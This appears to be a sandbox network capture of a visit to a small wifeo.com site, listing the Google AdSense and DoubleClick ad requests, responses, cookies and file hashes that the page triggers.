GET /pub-config/r20160913/ca-pub-5439285203515723.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 125 Date: Tue, 13 Feb 2018 10:17:42 GMT Expires: Tue, 13 Feb 2018 22:17:42 GMT Last-Modified: Sun, 11 Feb 2018 21:18:39 GMT X-Content-Type-Options: nosniff Content-Encoding: gzip Server: sffe X-XSS-Protection: 1; mode=block Age: 13498 Cache-Control: public, max-age=43200 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 125 Md5: f80120281945bc2ccdaebc64cbad921d Sha1: b5c7ef140888ede182fcac94921a4eb502f07a5c Sha256: 4cb4b9970ec5cedababe29f9a4ab00d00194bbebd2063cb117dec008b8c6982a
GET /pagead/js/r20180207/r20170110/osd.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Thu, 08 Feb 2018 11:52:19 GMT Expires: Thu, 22 Feb 2018 11:52:19 GMT Etag: 14152819666964886147 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 29995 X-XSS-Protection: 1; mode=block Cache-Control: public, max-age=1209600 Age: 439821 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 29995 Md5: ca42dee86b721494eb2a8c4f93c4508d Sha1: 17ee6f68a61be238ce54d20d056a7a5834c52d80 Sha256: ea4ea916582c5f861acd268ab627997ac61a0a978dbeb3ff1685e0f0679a9ea5
GET /pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=CheckForPermission; expires=Tue, 13-Feb-2018 14:17:40 GMT; path=/; domain=.doubleclick.net Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 6231 Md5: 00d16c674d1e6b92c5db9d73c2c3e570 Sha1: e19156917513fca67b3e7108c0c23a8dbcfeeb3e Sha256: 3b141073b532d1e8da6238a6d06281b4c269edd3bf3fd54c5d3e7ff44fdc415c
GET /pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=CheckForPermission; expires=Tue, 13-Feb-2018 14:17:40 GMT; path=/; domain=.doubleclick.net Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 6232 Md5: 7e865ff8d1510a2869827bd73d19ec11 Sha1: 773f8e34d9754a8b4470321d93051d778fd92583 Sha256: 30e6e209612491d0f0edbc0dc74e414245435ca427539657c4feba44dd0c65f0
GET /pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=CheckForPermission; expires=Tue, 13-Feb-2018 14:17:40 GMT; path=/; domain=.doubleclick.net Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 5280 Md5: d2c939a9a763084bd2781468e5717aa7 Sha1: da5449a3b7e58d355f4c39f042234925bc483509 Sha256: 1c71cbca09825fd46b70e8b5239f8441e914792bb03ead8bf62b14a670c098ae
GET /pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http://michaelnativel.wifeo.com/	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=CheckForPermission; expires=Tue, 13-Feb-2018 14:17:40 GMT; path=/; domain=.doubleclick.net Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 5279 Md5: 961f2d3aa4404957af70f1e9896e17ee Sha1: 7d406516ce789ffe07cceece2e7d1500aa908360 Sha256: cd6332002eadc9c749ab77dbd1393d22e19879170c80d39c0afd8c0307c36152
GET /pagead/adview?ai=CqVVLAPCCWrTuOY2fYtW1hBDFx5-9Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7-6kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ&sigh=QUTsYDxd6KI&vis=0 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT IDE=AHWqTUmhamAluVk5VusCF0YB4dFjgUjzMmKMWmdtMqrAmLV-qLxnattUPCYzB7v-; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Cache-Control: private --- Additional Info ---
GET /pagead/adview?ai=Ci7J6APCCWvfwOdWvYraHqfAPxcefvU2-0LiF5QLAjbcBEAEgAGDD3KSFmBiCARdjYS1wdWItNTQzOTI4NTIwMzUxNTcyM8gBCakCE2Tw8uI0hj6oAwGqBJ0BT9AXMOfUVSiY5DJGcZeodxVkiGoBS11ntOjOZwxDrh9-mzTHnXg2eWWWiqxAf1zeVzkTrOvXfstUGDb_z1BBD9K73koNB2EvobUZja8uOH0QliJshPlT59p34w749vVF9zZTITJysmHHKUtlTTJ6odGu8p98D4LA7POw50Gqq8tbrfjA31RCagf8o_LrQ5e6xWeb5kppnLzyg3_q1IAG4p65kZmwyLeCAaAGIagHpr4b2AcA0ggFCIBhEAE&sigh=pmkgUjnXBCE&vis=0 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT IDE=AHWqTUlx0HmJEhDMT4WtZ6sCm0-T068xoaRtJGurvmP61rcZ5lBLXFJMjKYbMU7I; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Cache-Control: private --- Additional Info ---
GET /pagead/gen_204?id=xbid&dbm_b=AKAmf-Awqk0r7u7292FFhunl1eGEPdh65X2EEJwkBaPpGPrtVeRRi1K0OymG9nAOjxQDeSdjZAchDJ5n_1PcnagK580L84p0Wi8qDIGwne2AdPq1mIk-Ai4 HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: image/gif P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: GIF image data, version 89a, 1 x 1 Size: 42 Md5: d89746888da2d9510b64a9f031eaecd5 Sha1: d5fceb6532643d0d84ffe09c40c481ecdf59e15a Sha256: ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629
GET /xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * X-Content-Type-Options: nosniff Content-Encoding: gzip Date: Tue, 13 Feb 2018 14:02:41 GMT Server: cafe Cache-Control: private X-XSS-Protection: 1; mode=block Set-Cookie: test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT IDE=AHWqTUnKipjzrf9N3358FSf4m_WfIdoKjmxJ6yxoVUFe1NgBsjA95z_LIvLSzvSK; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Expires: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 214 Md5: 02247d909a831178bfbddac723940ebd Sha1: 9d29a593fe8e22024b5091691df54e3a02a3ba82 Sha256: 48647fe897d3f952a9ad4422e05ed61869c9bf0d2108a78bd2eba0f5eed26446
